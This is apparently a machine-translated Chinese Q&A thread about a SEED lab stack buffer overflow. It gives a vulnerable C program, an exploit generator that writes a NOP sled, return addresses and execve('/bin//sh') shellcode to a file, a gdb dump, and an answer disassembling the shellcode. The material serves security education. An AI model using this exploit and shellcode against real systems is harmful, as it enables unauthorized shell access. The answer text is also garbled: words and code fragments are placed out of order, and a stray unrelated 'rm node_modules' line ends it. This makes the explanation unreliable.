我正在进行SEED实验室缓冲区溢出,其中包含以下易受攻击的代码:
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[24];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
我试图用一个517字节的缓冲区填充它,我放入badfile
。问题是我不断收到分段错误,即使内存布局看起来是正确的。
/* exploit.c */
void main(int argc, char **argv)
{
char buffer[SIZE];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, SIZE);
/* You need to fill the buffer with appropriate contents here */
int i;
long* ptr = (long*) buffer;
for(i = 0; i < 16; i++)
*(ptr+i) = EBP+64; // this is the jump spot
memcpy(buffer+128, shellcode, sizeof(shellcode)); // copy the shellcode
for(i = 128+sizeof(shellcode); i < SIZE; i++)
*(buffer+i) = 0x0; // end the string with nul characters
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, SIZE, 1, badfile);
fclose(badfile);
}
运行易受攻击程序时的内存布局如下:
(gdb) x/64x buffer
0xbffff0e8: 0xbffff148 0xbffff148 0xbffff148 0xbffff148
0xbffff0f8: 0xbffff148 0xbffff148 0xbffff148 0xbffff148
0xbffff108: 0xbffff148 0xbffff148 0xbffff148 0xbffff148
0xbffff118: 0xbffff148 0xbffff148 0xbffff148 0xbffff148
0xbffff128: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff138: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff148: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff158: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff168: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e
0xbffff178: 0x99e18953 0x80cd0bb0 0x90909000 0x90909090
0xbffff188: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff198: 0x90909090 0x90909090 0x90909090 0x31909090
0xbffff1a8: 0x2f6850c0 0x6868732f 0x6e69622f 0x5350e389
0xbffff1b8: 0xb099e189 0x0080cd0b 0x00000000 0x00000000
0xbffff1c8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff1d8: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/2x $ebp
0xbffff108: 0xbffff148 0xbffff148
(gdb) x/x 0xbffff148
0xbffff148: 0x90909090
然而,当我运行它时,我遇到了分段错误。为什么会发生这种情况,为什么溢出缓冲区末尾的NOP不会被0x0替换?
UPDATE:输入bof并复制字符串后,内存是stack.c的一部分。
答案 0 :(得分:1)
该转储是运行exploit.c
还是stack.c
?在0xbffff180
转储中存在NUL字节的事实意味着这是exploit.c
,因为strcpy
中的stack.c
将停止在NUL字节处复制。如果是这种情况,那么$ebp
中exploit.c
的值就没有意义了。您需要在$ebp
bof
中获得stack.c
时的$ebp
值。在stack.c
中运行时stack.c
可能有不同的值,这会导致执行跳转到垃圾。
只是为了笑容,我反汇编并注释了shellcode,尽管在 0xbffff168: 31 c0 xor %eax,%eax ; eax <- 0
0xbffff16a: 50 push %eax ; stack <- "\0\0\0"
0xbffff16b: 68 2f 2f 73 68 push $0x68732f2f ; stack <- "//sh\0\0\0"
0xbffff170: 68 2f 62 69 6e push $0x6e69622f ; stack <- "/bin//sh\0\0\0"
0xbffff175: 89 e3 mov %esp,%ebx ; ebx = "/bin//sh\0\0\0" -- filename
0xbffff177: 50 push %eax ; stack <- 0
0xbffff178: 53 push %ebx ; stack <- "/bin//sh\0\0\0", 0
0xbffff179: 89 e1 mov %esp,%ecx ; ecx = {"/bin//sh\0\0\0", 0} -- argv
0xbffff17b: 99 cltd ; edx <- 0 -- envp
0xbffff17c: b0 0b mov $0xb,%al ; al <- 0xb -- sys_execve
0xbffff17e: cd 80 int $0x80 ; sys call
中运行时地址可能不正确:
char filename[] = "/bin//sh";
char *args[2];
args[0] = filename;
args[1] = NULL;
execve(filename, args, NULL);
代码基本上是这样做的:
push %eax
奇怪的是文件名中有2个斜杠。 NUL终结符可能已包含在两个推送常量中的第一个中,从而无需使用第一个rm node_modules
。